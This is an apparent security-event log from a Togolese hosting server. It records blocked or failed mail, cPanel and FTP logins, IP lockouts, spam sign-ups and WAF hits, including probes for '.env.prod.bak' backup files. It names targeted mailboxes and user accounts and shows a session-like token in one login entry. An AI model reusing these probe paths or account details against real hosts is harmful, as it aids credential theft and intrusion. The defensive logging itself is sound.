138.36.93.28 - - [09/Jun/2026:01:51:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10261089&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2087&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780969877 HTTP/1.1" 404 561 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:138.36.93.28


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 1.183.147.38
country_id: 1814991
description:
2026-06-09 01:51:45 H=([1.183.147.38]) [1.183.147.38]:11103 F=<John@4452.com> rejected RCPT <mointie.konlambigue@emt.tg>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 1.183.147.38
country_id: 1814991
description:
2026-06-09 01:53:14 H=([1.183.147.38]) [1.183.147.38]:13451 F=<John@4452.com> rejected RCPT <mointie.konlambigue@emt.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.42.116.116
country_id: 2750405
description:
Jun  9 01:54:02 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.42.116.116 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.42.116.116
country_id: 2750405
description:
2026-06-09 01:54:04 dovecot_plain authenticator failed for H=(kydiubjhwst8w93icvs35) [192.42.116.116]:58284: 535 Incorrect authentication data (set_id=ygnabik@otr.tg)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 209.101.202.119
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:209.101.202.119||TA:209.101.202.119||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.251.107.14
country_id: 2542007
description:
2026-06-09 01:58:54 dovecot_plain authenticator failed for H=(3szdar5yqcv9na0ik) [41.251.107.14]:33177: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-06-09 02:01:05 +0000] info [cpaneld] 102.54.238.57 - arsetg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 157.100.138.187
country_id: 3658394
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/anpe-15-000-chercheurs-demploi-accompagnes/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 157.100.138.187
country_id: 3658394
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/anpe-15-000-chercheurs-demploi-accompagnes/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 72.205.0.93
country_id: 6252001
description:
Jun  9 02:08:28 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 72.205.0.93 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 191.102.145.239
country_id: 6252001
description:
[2026-06-09 02:12:46 +0000] info [whostmgrd] 191.102.145.239 - test1 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 43.159.39.252
country_id: 1880251
description:
43.159.39.252 - - [09/Jun/2026:02:12:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10132628&pdata=https%253A%252F%252Ftogodailynews.tg%252Fles-grandes-decisions-du-conseil-des-ministres-du-15-fevrier-2023%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780971141 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/les-grandes-decisions-du-conseil-des-ministres-du-15-fevrier-2023/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.159.39.252


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 191.102.145.239
country_id: 6252001
description:
191.102.145.239 - - [09/Jun/2026:02:12:43 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9685147&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2087&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780971162 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:191.102.145.239


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Collect Your Impressive User Cash eropolik.blogspot.ru lh||Email:cwebb1039@gmail.com||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:02-15.146.19.125.71||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.88.148.75
country_id: 660013
domain: www.agou1.mairie.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.production.bak||User:xflhqsmv||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.88.148.75
country_id: 660013
domain: www.agou1.mairie.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.prod.bak||User:xflhqsmv||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 212.241.17.2
country_id: 1527747
description:
2026-06-09 02:19:19 H=([212.241.17.2]) [212.241.17.2]:13971 F=<John@4452.com> rejected RCPT <majed.zammouri@soroubat.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 191.102.145.148
country_id: 6252001
description:
191.102.145.148 - - [09/Jun/2026:02:19:46 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10002120&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2087&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780971585 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:191.102.145.148


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 191.102.145.148
country_id: 6252001
description:
[2026-06-09 02:19:48 +0000] info [whostmgrd] 191.102.145.148 - stephane.o@cafe.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.186
country_id: 1880251
description:
47.128.96.186 - - [09/Jun/2026:02:21:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9726062&pdata=https%253A%252F%252Ftdn.tg%252Fsuspensions-yango-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780971692 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/suspensions-yango-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.186


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.225.198.60
country_id: 3865483
description:
Jun  9 02:21:34 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.225.198.60 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.250.149.25
country_id: 1269750
description:
Jun  9 02:24:11 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.250.149.25 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.78
country_id: 1880251
description:
47.128.121.78 - - [09/Jun/2026:02:33:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6998419&pdata=https%253A%252F%252Ftogodailynews.tg%252Ffaure-gnassingbe-a-la-reouverture-de-notre-dame-de-paris-un-geste-de-solidarite-internationale%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780972427 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/faure-gnassingbe-a-la-reouverture-de-notre-dame-de-paris-un-geste-de-solidarite-internationale/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.78


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 134.17.4.138
country_id: 630336
description:
2026-06-09 02:35:58 H=([134.17.4.138]) [134.17.4.138]:51941 F=<John@4452.com> rejected RCPT <pibno@zephyr.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.219.102.189
country_id: 798544
description:
Jun  9 02:39:11 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.219.102.189 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.178.146.244
country_id: 1562822
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/togo-suppression-des-frais-descorte/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:02-40.146.19.125.71||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.219.102.189
country_id: 798544
description:
Jun  9 02:39:18 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.219.102.189 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.178.146.244
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/togo-suppression-des-frais-descorte/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Start Moving with Your Funds bonotdamvam.blogspot.be 7H||Email:dassrikanta.ckt@gmail.com||RSV:8.15||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 130.254.112.74
country_id: 6252001
domain: butodra.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:130.254.112.74||TA:130.254.112.74||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.228
country_id: 3469034
description:
Jun  9 02:43:53 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.228 has been locked due to Imunify RBL


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 47.88.33.136
country_id: 6252001
description:
Jun  9 02:47:37 ns5 pure-ftpd[288152]: (?@47.88.33.136) [WARNING] Authentication failed for user [togofeed]


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 204.101.161.15
country_id: 6251999
description:
204.101.161.15 - - [09/Jun/2026:02:48:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7313763&pdata=https%253A%252F%252Fchuso.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780973336 HTTP/2.0" 302 0 chuso.tg "https://chuso.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:204.101.161.15


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 40.27.110.111
country_id: 6252001
description:
40.27.110.111 - - [09/Jun/2026:02:51:01 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13354700&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2087&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780973460 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:40.27.110.111


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 40.27.110.111
country_id: 6252001
description:
[2026-06-09 02:51:03 +0000] info [whostmgrd] 40.27.110.111 - koolnetfree "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 44.242.50.106
country_id: 6252001
description:
2026-06-09 02:51:47 dovecot_plain authenticator failed for H=ec2-44-242-50-106.us-west-2.compute.amazonaws.com (185-224-215-184.netherlands-3.vps.ac) [44.242.50.106]:20436: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.225.217.28
country_id: 617790
description:
2026-06-09 02:52:03 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [91.225.217.28]:58556: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.158.175
country_id: 2750405
description:
2026-06-09 02:51:12 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [104.28.158.175]:17129: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.165.69
country_id: 6252001
description:
2026-06-09 02:51:32 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [104.28.165.69]:15230: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.105.181.40
country_id: 2921044
description:
2026-06-09 02:52:37 dovecot_plain authenticator failed for H=static.40.181.105.178.clients.your-server.de (185-224-215-184.netherlands-3.vps.ac) [178.105.181.40]:48262: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 85.208.139.98
country_id: 2921044
description:
Jun  9 02:52:55 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 85.208.139.98 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.208.139.98
country_id: 2921044
description:
2026-06-09 02:52:57 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [85.208.139.98]:44348: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 24.249.199.4
country_id: 6252001
description:
Jun  9 02:53:28 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 24.249.199.4 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.237.207.223
country_id: 1668284
description:
2026-06-09 02:53:37 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [85.237.207.223]:52466: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.76.91.16
country_id: 1861060
description:
2026-06-09 02:54:03 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [31.76.91.16]:44254: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.111.247.233
country_id: 1835841
description:
2026-06-09 02:53:17 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [61.111.247.233]:45734: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 - - [09/Jun/2026:02:54:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10395032&pdata=https%253A%252F%252Fsproca.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780973677 HTTP/2.0" 302 0 sproca.tg "https://sproca.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.76.91.16
country_id: 1861060
description:
2026-06-09 02:54:11 dovecot_login authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [31.76.91.16]:44254: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.75.141.210
country_id: 2542007
description:
2026-06-09 02:54:35 dovecot_plain authenticator failed for H=(48cc5tcmjoqy499qbn7) [196.75.141.210]:51359: 535 Incorrect authentication data (set_id=info@keedyfarms.com)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.197.69.115
country_id: 6252001
description:
104.197.69.115 - - [09/Jun/2026:02:56:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7377349&pdata=https%253A%252F%252Fsproca.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780973777 HTTP/2.0" 302 0 sproca.tg "https://sproca.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.197.69.115


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Take Out Your Highest Bet Funds vamvozmviigr.blogspot.hu 9M||Email:onlinebusinessbareilly@gmail.com||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:03-04.146.19.125.71||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.193
country_id: 1269750
description:
2026-06-09 03:07:48 dovecot_login authenticator failed for H=([122.187.230.193]) [122.187.230.193]:39602: 535 Incorrect authentication data (set_id=office@togosem.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 42.200.66.116
country_id: 1819730
description:
Jun  9 03:08:23 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 42.200.66.116 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 42.200.66.116
country_id: 1819730
description:
2026-06-09 03:08:25 dovecot_login authenticator failed for H=42-200-66-116.static.imsbiz.com [42.200.66.116]:52568: 535 Incorrect authentication data (set_id=office)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.165
country_id: 1880251
description:
47.128.96.165 - - [09/Jun/2026:03:08:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7170718&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-spaghetti-bella-seven-food%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780974514 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-spaghetti-bella-seven-food/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.165


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 35.228.158.1
country_id: 660013
domain: www.api.butodra.tg
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:EmailWolf 1.00||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 197.234.202.52
country_id: 953987
description:
Jun  9 03:11:49 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 197.234.202.52 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 212.42.122.66
country_id: 1527747
description:
2026-06-09 03:14:41 H=([212.42.122.66]) [212.42.122.66]:44885 F=<John@4452.com> rejected RCPT <contact@cloud-et-racks.tg>: Sender verify failed


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 140.174.118.185
country_id: 6251999
domain: togodailynews.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:request_uri||MV:renforcement-du-systeme-educatif-le-gouvernement-recrute-4501-enseignants/||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 42.1.120.159
country_id: 1562822
description:
2026-06-09 03:14:25 H=([42.1.120.159]) [42.1.120.159]:3838 F=<John@4452.com> rejected RCPT <home@white-ways.com>: Sender verify failed


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 213.32.21.59
country_id: 3017382
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:03-16.213.32.21.59||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 151.123.176.30
country_id: 3017382
description:
[2026-06-09 03:17:13 +0000] info [cpaneld] 151.123.176.30 - tqttxcvn "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tqttxcvn (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 131.255.183.87
country_id: 3865483
description:
Jun  9 03:18:46 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 131.255.183.87 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 212.42.122.66
country_id: 1527747
description:
2026-06-09 03:18:49 H=([212.42.122.66]) [212.42.122.66]:45220 F=<John@4452.com> rejected RCPT <contact@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 42.1.120.159
country_id: 1562822
description:
2026-06-09 03:22:00 H=([42.1.120.159]) [42.1.120.159]:52767 F=<John@4452.com> rejected RCPT <home@white-ways.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.58.64.140
country_id: 1269750
description:
Jun  9 03:23:48 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.58.64.140 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 94.230.232.243
country_id: 1512440
description:
2026-06-09 03:23:48 H=([0.0.0.0]) [94.230.232.243]:3318 F=<John@4452.com> rejected RCPT <egnassingbe@golfe3.mairie.tg>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.75.131.115
country_id: 2542007
description:
2026-06-09 03:23:53 dovecot_plain authenticator failed for H=(741zkdnfxrrv8pxa4jttoz7whvueh3) [196.75.131.115]:39327: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.154
country_id: 2635167
description:
[2026-06-09 03:24:23 +0000] info [cpaneld] 5.230.133.154 NEW libertepansel:YeWMpIEI2tfmHjFE address=5.230.133.154,app=cpaneld,creator=libertepansel,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.129.164.86
country_id: 2017370
description:
2026-06-09 03:27:27 dovecot_plain authenticator failed for H=([91.92.243.93]) [95.129.164.86]:12624: 535 Incorrect authentication data (set_id=info@belali.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.174.125.183
country_id: 3469034
description:
Jun  9 03:27:33 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.174.125.183 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.235.56.161
country_id: 2635167
description:
2026-06-09 03:27:40 dovecot_plain authenticator failed for H=([91.92.243.93]) [91.235.56.161]:60426: 535 Incorrect authentication data (set_id=admin@belali.tg)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 42.1.120.159
country_id: 1562822
description:
2026-06-09 03:27:45 H=([42.1.120.159]) [42.1.120.159]:11068 F=<John@4452.com> rejected RCPT <home@white-ways.com>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.15.21.68
country_id: 2017370
description:
2026-06-09 03:28:11 dovecot_plain authenticator failed for H=([91.92.243.93]) [31.15.21.68]:38328: 535 Incorrect authentication data (set_id=marketing@belali.tg)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 46.151.182.158
country_id: 2750405
description:
2026-06-09 03:27:26 H=([46.151.182.158]) [46.151.182.158]:54228 F=<contact@sthandling-aero.tg> rejected RCPT <contact@sthandling-aero.tg>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.174.125.183
country_id: 3469034
description:
2026-06-09 03:27:35 dovecot_login authenticator failed for H=(201-63-166-209.customer.tdatabrasil.net.br) [177.174.125.183]:42369: 535 Incorrect authentication data (set_id=sales@togosem.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.74.70.113
country_id: 1733045
description:
2026-06-09 03:27:57 dovecot_plain authenticator failed for H=([91.92.243.93]) [180.74.70.113]:59479: 535 Incorrect authentication data (set_id=support@belali.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.237.188.123
country_id: 3469034
description:
2026-06-09 03:29:08 dovecot_plain authenticator failed for H=([91.92.243.93]) [45.237.188.123]:47679: 535 Incorrect authentication data (set_id=financeiro@belali.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 99.252.110.146
country_id: 6251999
description:
2026-06-09 03:28:24 dovecot_plain authenticator failed for H=pool-99-252-110-146.cpe.net.cable.rogers.com ([91.92.243.93]) [99.252.110.146]:40280: 535 Incorrect authentication data (set_id=contact@belali.tg)


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Exchange Your Non-Fungible Token Present eropolik.blogspot.gr KD||Email:shudiptoray4@gmail.com||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.15.21.68
country_id: 2017370
description:
2026-06-09 03:28:18 dovecot_login authenticator failed for H=([91.92.243.93]) [31.15.21.68]:38328: 535 Incorrect authentication data (set_id=marketing@belali.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.220.185.70
country_id: 3996063
description:
2026-06-09 03:28:37 dovecot_plain authenticator failed for H=([91.92.243.93]) [187.220.185.70]:43650: 535 Incorrect authentication data (set_id=contato@belali.tg)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:03-28.146.19.125.71||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.20.42.37
country_id: 1210997
description:
